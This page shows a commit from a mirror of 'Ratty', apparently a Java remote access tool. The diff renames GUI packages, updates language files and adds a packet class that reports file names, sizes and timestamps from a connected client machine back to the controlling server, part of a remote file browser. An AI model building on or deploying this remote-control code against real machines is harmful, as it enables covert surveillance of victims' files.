mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
20 changed files with 276 additions and 64 deletions
-
BINRatty/res/gui_tree_icons.png
-
11Ratty/res/language/lang.properties
-
11Ratty/res/language/lang_de.properties
-
11Ratty/res/language/lang_en.properties
-
6Ratty/src/de/sogomn/rat/Client.java
-
6Ratty/src/de/sogomn/rat/Ratty.java
-
10Ratty/src/de/sogomn/rat/gui/ChatWindow.java
-
14Ratty/src/de/sogomn/rat/gui/DisplayPanel.java
-
14Ratty/src/de/sogomn/rat/gui/FileTree.java
-
2Ratty/src/de/sogomn/rat/gui/FileTreeNode.java
-
7Ratty/src/de/sogomn/rat/gui/IGuiController.java
-
2Ratty/src/de/sogomn/rat/gui/Notification.java
-
2Ratty/src/de/sogomn/rat/gui/server/IRattyGui.java
-
3Ratty/src/de/sogomn/rat/gui/server/RattyGui.java
-
68Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java
-
36Ratty/src/de/sogomn/rat/gui/server/ServerClient.java
-
2Ratty/src/de/sogomn/rat/gui/server/ServerClientTableModel.java
-
125Ratty/src/de/sogomn/rat/packet/FileInformationPacket.java
-
3Ratty/src/de/sogomn/rat/packet/PacketType.java
-
7Ratty/src/de/sogomn/rat/server/gui/IGuiController.java
Before Width: 48 | Height: 48 | Size: 626 B After Width: 48 | Height: 48 | Size: 669 B |
@ -1,4 +1,4 @@ |
|||
package de.sogomn.rat.server.gui; |
|||
package de.sogomn.rat.gui; |
|||
|
|||
import java.util.ArrayList; |
|||
import java.util.Collections; |
@ -0,0 +1,7 @@ |
|||
package de.sogomn.rat.gui; |
|||
|
|||
public interface IGuiController { |
|||
|
|||
void userInput(final String command, final Object source); |
|||
|
|||
} |
@ -1,4 +1,4 @@ |
|||
package de.sogomn.rat.server.gui; |
|||
package de.sogomn.rat.gui; |
|||
|
|||
import javax.swing.Icon; |
|||
import javax.swing.JDialog; |
@ -1,4 +1,4 @@ |
|||
package de.sogomn.rat.server.gui; |
|||
package de.sogomn.rat.gui.server; |
|||
|
|||
import java.io.File; |
|||
|
@ -1,4 +1,4 @@ |
|||
package de.sogomn.rat.server.gui; |
|||
package de.sogomn.rat.gui.server; |
|||
|
|||
import static de.sogomn.rat.Ratty.LANGUAGE; |
|||
|
@ -0,0 +1,125 @@ |
|||
package de.sogomn.rat.packet; |
|||
|
|||
import java.io.File; |
|||
import java.io.IOException; |
|||
import java.nio.file.Files; |
|||
import java.nio.file.Path; |
|||
import java.nio.file.attribute.BasicFileAttributes; |
|||
|
|||
import de.sogomn.rat.ActiveConnection; |
|||
|
|||
public final class FileInformationPacket extends AbstractPingPongPacket { |
|||
|
|||
private String name, path; |
|||
private long size; |
|||
private byte fileType; |
|||
private long creationTime, lastAccess, lastModified; |
|||
|
|||
private static final byte FILE = 0; |
|||
private static final byte DIRECTORY = 1; |
|||
private static final String FILE_SEPARATOR = "/"; |
|||
|
|||
public FileInformationPacket(final String path) { |
|||
this.path = path; |
|||
|
|||
name = ""; |
|||
} |
|||
|
|||
public FileInformationPacket() { |
|||
name = path = ""; |
|||
} |
|||
|
|||
@Override |
|||
protected void sendRequest(final ActiveConnection connection) { |
|||
connection.writeUTF(path); |
|||
} |
|||
|
|||
@Override |
|||
protected void sendData(final ActiveConnection connection) { |
|||
connection.writeUTF(name); |
|||
connection.writeUTF(path); |
|||
connection.writeLong(size); |
|||
connection.writeByte(fileType); |
|||
connection.writeLong(creationTime); |
|||
connection.writeLong(lastAccess); |
|||
connection.writeLong(lastModified); |
|||
} |
|||
|
|||
@Override |
|||
protected void receiveRequest(final ActiveConnection connection) { |
|||
path = connection.readUTF(); |
|||
} |
|||
|
|||
@Override |
|||
protected void receiveData(final ActiveConnection connection) { |
|||
name = connection.readUTF(); |
|||
path = connection.readUTF(); |
|||
size = connection.readLong(); |
|||
fileType = connection.readByte(); |
|||
creationTime = connection.readLong(); |
|||
lastAccess = connection.readLong(); |
|||
lastModified = connection.readLong(); |
|||
} |
|||
|
|||
@Override |
|||
protected void executeRequest(final ActiveConnection connection) { |
|||
if (path.isEmpty() || path.equals(FILE_SEPARATOR)) { |
|||
return; |
|||
} |
|||
|
|||
final File file = new File(path); |
|||
final Path filePath = file.toPath(); |
|||
|
|||
try { |
|||
final BasicFileAttributes attributes = Files.readAttributes(filePath, BasicFileAttributes.class); |
|||
|
|||
name = file.getName(); |
|||
path = file.getAbsolutePath(); |
|||
size = attributes.size(); |
|||
fileType = attributes.isDirectory() ? DIRECTORY : FILE; |
|||
creationTime = attributes.creationTime().toMillis(); |
|||
lastAccess = attributes.lastAccessTime().toMillis(); |
|||
lastModified = attributes.lastModifiedTime().toMillis(); |
|||
} catch (final IOException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
|
|||
type = DATA; |
|||
|
|||
connection.addPacket(this); |
|||
} |
|||
|
|||
@Override |
|||
protected void executeData(final ActiveConnection connection) { |
|||
//... |
|||
} |
|||
|
|||
public String getName() { |
|||
return name; |
|||
} |
|||
|
|||
public String getPath() { |
|||
return path; |
|||
} |
|||
|
|||
public long getSize() { |
|||
return size; |
|||
} |
|||
|
|||
public boolean isDirectory() { |
|||
return fileType == DIRECTORY; |
|||
} |
|||
|
|||
public long getCreationTime() { |
|||
return creationTime; |
|||
} |
|||
|
|||
public long getLastAccess() { |
|||
return lastAccess; |
|||
} |
|||
|
|||
public long getLastModified() { |
|||
return lastModified; |
|||
} |
|||
|
|||
} |
@ -1,7 +0,0 @@ |
|||
package de.sogomn.rat.server.gui; |
|||
|
|||
public interface IGuiController { |
|||
|
|||
void userInput(final String command, final Object userObject); |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue